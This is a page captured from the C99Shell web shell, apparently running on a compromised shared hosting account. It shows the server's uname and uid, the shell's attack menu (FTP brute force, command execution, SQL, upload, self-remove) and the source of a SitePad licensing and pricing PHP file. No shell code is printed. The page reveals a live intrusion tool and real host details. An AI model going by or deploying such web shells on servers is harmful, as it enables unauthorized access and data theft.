!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-admin/   drwxr-xr-x
Free 293.08 GB of 429.69 GB (68.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     plans.php (9.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Themes administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

$title __('Compare Plans');

require_once( 
ABSPATH 'site-admin/admin-header.php' );

$plans fetch_plan();

// Update the license
if(!empty($_REQUEST['license_key'])){
    
    
$license_key trim($_REQUEST['license_key']);
    
$resp wp_remote_get(SITEPAD_API.'license_enduser.php?eu_license='.$license_key.'&siteurl='.rawurlencode($sitepad['serving_url']));
    
    if(
is_array($resp)){
        
$json json_decode($resp['body'], true);
        
//r_print($json);
        
        
if(empty($json['license'])){
            
$error['lic_invalid'] = __('The license key is invalid');
        }else{
            
update_option('sitepad_license'$json);
            
sitepad_license_check();
        
            
// Mark as saved
            
$GLOBALS['saved'] = true;
        }
        
    }else{
        
$error['resp_invalid'] = __('The response was malformed<br>'.var_export($resptrue));        
    }
}

foreach(
$plans as $pk => $pv){
    
    if(
$pv['slug'] == 'free'){
        
$plans[$pk]['button_txt'] = 'Free';
        continue;
    }
    
    if(empty(
$sitepad['license'])){
        
$plans[$pk]['button_txt'] = 'Purchase';
        continue;
    }
    
    if(
$pv['slug'] == $sitepad['license']['plan']){
        
$plans[$pk]['button_txt'] = 'Renew';
        
$matched_plan 1;
    }else{
        if(!empty(
$matched_plan)){
            
$plans[$pk]['button_txt'] = 'Upgrade';
        }else{
            
$plans[$pk]['button_txt'] = 'Purchase';
            
$plans[$pk]['button_disable'] = 1;
        }
    }
}

//r_print($plans);

echo '
<div class="wrap">
    <div class="bg">
        <h1 style="padding:0px"><!--This is to fix promo--></h1>
        <div class="row p-3 mb-4">
            <div class="col-sm-6">
                <h1><span class="dashicons-before sme-dash-header dashicons-cart"></span>Plans<br /></h1>
            </div>
            <div class="col-sm-6">
                <div class="float-right">
                <a href="javascript:toggle_license_form()" class="btn btn-info">Enter License</a> &nbsp; 
                Contact us : <a href="mailto:sales@sitepad.com">sales@sitepad.com</a>
                </div>
            </div>            
        </div>
        
        <div class="row" id="enter_license_form" style="display:none;">
            <div class="col-sm-12 mb-5">
                <div class="text-center"><h4>'
.__('Enter SitePad License Key').'</h4></div>
                
                <div class="text-center">'
.__('If you have already purchased the license you can enter the license key below and start using SitePad Premium').'</div><br />
                <form action="" method="post" name="submit_license" id="submit_license">
                <div class="row">
                    <div class="col-sm-4 offset-sm-3">
                        <input type="text" name="license_key" class="form-control" id="license_key" size="30" value="'
.POSTval('license_key').'" placeholder="SITEP-xxxxx-xxxxx-xxxxx-xxxxx" />
                    </div>
                    <div class="col-sm-1">
                        <button type="submit" class="btn btn-primary">'
.__('Submit').'</button>
                    </div>
                </div>
                </form>
            </div>
        </div>'
;
        
        
// Saved
        
if(!empty($GLOBALS['saved'])){            
            echo 
'<div class="notice notice-success is-dismissible">
                <p>'
.__('The license has been saved').'</p>
            </div>'
;            
        }
    
        
// Any errors ?
        
if(!empty($error)){
            
pagelayer_report_error($error);echo '<br />';
        }
        
        
// Expired license ?
        
if(!empty($sitepad['license']) && empty($sitepad['license']['status'])){
            
$msg = !empty($sitepad['license']['status_msg']) ? $sitepad['license']['status_msg'] : __('There is no active license for this website. Please buy a license from the <a href="'.SITEPAD_BUY.'">Client Center</a>.');
            echo 
'<div id="message" class="error"><p>'.$msg.'</p></div>';
        }
        
//r_print($sitepad['license']);
        
        // Show plan details
        
if(!empty($sitepad['license'])){
        
            echo 
'
            <center><div id="license_details" align="center" class="license_details py-2"><h5><span style="border-bottom: 1px solid #000;">Current plan details</span></h5>
            <b>Plan Name</b> : '
.$plans[$sitepad['license']['plan']]['name'];
            
            if(!empty(
$sitepad['license']['expires'])){
                echo 
'<br /><b>Expires</b> : '.makedate($sitepad['license']['expires'], 'jS F Y');
            }
            
            echo 
'<br /><b>License Key</b> : '.$sitepad['license']['license'].'
            </div></center><br />'
;
            
        }

        echo 
'
        <div class="tab">
            <div class="plan_highlight"><span class="current_plan'
.(empty($sitepad['license']['plan']) ? '">Current Plan' '">').'</span>
            </div>
            <div class="plan_highlight"><span class="current_plan'
.($sitepad['license']['plan'] == 'personal' '">Current Plan' '">').'</span>
            </div>
            <div class="plan_highlight"><span class="current_plan'
.($sitepad['license']['plan'] == 'professional' '">Current Plan' ' most_popular">Most Popular').'</span>
            </div>
            <div class="plan_highlight"><span class="current_plan'
.($sitepad['license']['plan'] == 'business' '">Current Plan' '">').'</span>
            </div>
        </div>
        <div class="tab">'
;
        
        foreach(
$plans as $slug => $plan){
            
            echo 
'<div class="pricing_tab" id="'.$plan['slug'].'">
                <ul>
                    <li class="plans_heading" id="plan"><span class="head_span">'
.$plan['name'].'</span></li>
                    <li class="plans_price" id="price"><span data-price="'
.$plan['price'].'">'.(empty($plan['price']) ? 'No Cost' '$'.$plan['price'].'/Year').'</span></li>
                    <li>'
.(empty($plan['themes']) ? 'Unlimited' $plan['themes']).' Themes</li>
                    <li>'
.(empty($plan['sites']) ? 'Unlimited' $plan['sites']).' Site'.($plan['sites'] != 's' '').' *</li>
                    <li>'
.(empty($plan['pages']) ? 'Unlimited' $plan['pages']).' Pages</li>
                    <li>'
.(empty($plan['blogs']) ? 'Unlimited' $plan['blogs']).' Blog Posts</li>';
                    
//<li>Download Sites '.(!empty($plan['download_sites']) ? '<span class="dashicons dashicons-yes" style="color:#00B249;"></span>' : '<span class="dashicons dashicons-no" style="color:#D41B27;"></span>').'</li>
            
echo '    <li><button class="buy_button" id="pay_now" onClick="start_buy(\''.$plan['slug'].'\');" '.(!empty($plan['button_disable']) ? 'style="background-color:#999999;"' '').'>'.__($plan['button_txt']).'</button></li>
                </ul>
            </div>'
;
            
        }
        
        echo 
'
        </div>
        <p>* If your license expires, your site will continue to work, but you will not be able to edit your site</p>
        <br/><br/>
    </div>
</div>'
;

?>

<style>

.wrap{
font-size: 14px;
}

.plans_history th{
color: #FFFFFF !important;
}
.plans_heading{
    background: #00B249;
    color: #FFFFFF !important;
    font-size: 24px !important;
}
.plans_price{
    background: #33C16D;
    color: #FFFFFF !important;
    font-size: 20px !important;
    line-height: 45%;
}
.head_span{
    border-bottom: 1px solid #fff;
}
.most_popular{
    background: #FA9300 !important;
}
.current_plan{
    background: #49A9F5;
    font-size: 14px;
    padding: 5px 20px;
    text-align: center;
    color: #FFFFFF;
    margin: 0 auto;
    display: table;
}

.buy_button{
    font-size: 16px;
    padding: 5px 30px;
    line-height: 25px;
    background: #FA9300;
    color: #FFFFFF;
    border: 0px;
    cursor: pointer;
}
.buy_button:hover{
    background: #D77E00;
}

.dashicons, .dashicons-before::before {
    width: 30px;
}
.pricing_tab ul{
    border: 1px solid rgba(0, 0, 0, 0.14);
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14);
    margin-top: -1px;
}
.pricing_tab{
    padding: 10px;
    width: 25%;
    padding-top: 0px;
}
.pricing_tab li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.05);
    color: #737373;
    margin-bottom: 0;
    padding: 20px;
    text-align: center;
    list-style-type: none;
    font-size: 16px;
}
.plan_highlight{
    width:25%;
}

.tab{
    display: inline-flex;
    width: 100%;
}
.modalDialog {
    position: fixed;
    font-family: Arial, Helvetica, sans-serif;
    top: 40px;
    right: 0;
    bottom: 0;
    left: 0;
    background: rgba(0,0,0,0.8);
    z-index: 10001;
    display: none;
}
.modal-header {
    border-bottom: 1px solid #e5e5e5;
    padding: 0 15px;
}
.modal-header .close {
    margin-top: -2px;
}
button.close {
    background: rgba(0, 0, 0, 0) none repeat scroll 0 0;
    border: 0 none;
    cursor: pointer;
    padding: 0;
}
.close {
    color: #000;
    float: right;
    font-size: 21px;
    font-weight: 700;
    line-height: 1;
    opacity: 0.2;
    text-shadow: 0 1px 0 #fff;
}
.modal-body {
    padding: 15px;
    position: relative;
}
.modalDialog > div {
    width: 300px;
    left: calc(50% - 125px);
    background-clip: padding-box;
    background-color: #fff;
    border: 1px solid rgba(0, 0, 0, 0.2);
    border-radius: 6px;
    box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
    outline: 0 none;
    position: relative;
}
.modal-footer {
    border-top: 1px solid #e5e5e5;
    padding: 10px 20px;
    text-align: right;
}
.btn-default {
    background-color: #fff;
    border-color: #ccc;
    color: #333;
}
.btn {
    -moz-user-select: none;
    background-image: none;
    border: 1px solid transparent;
    border-radius: 4px;
    cursor: pointer;
    display: inline-block;
    font-size: 14px;
    font-weight: 400;
    line-height: 1.42857;
    margin-bottom: 0;
    padding: 6px 12px;
    text-align: center;
    touch-action: manipulation;
    vertical-align: middle;
    white-space: nowrap;
}

.license_details{
background-color:#F5F5F5;
border: 1px solid #E5E5E5;
width:30%;
}

</style>

<center><div id="display_theme" style="height:auto;"></div></center>
    
<script>
    
function toggle_license_form(){
    $("#enter_license_form").toggle(300);
}

function start_buy(plan_name){
    var cur_url = window.location;
    window.open(<?php echo '"'.$sitepad['buy_link'].'&license='.$sitepad['license']['license'].'&plan="'?>+plan_name+"&return_cp_url="+encodeURI(cur_url));
}

</script>

<?php require( ABSPATH 'site-admin/admin-footer.php' );

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0049 ]--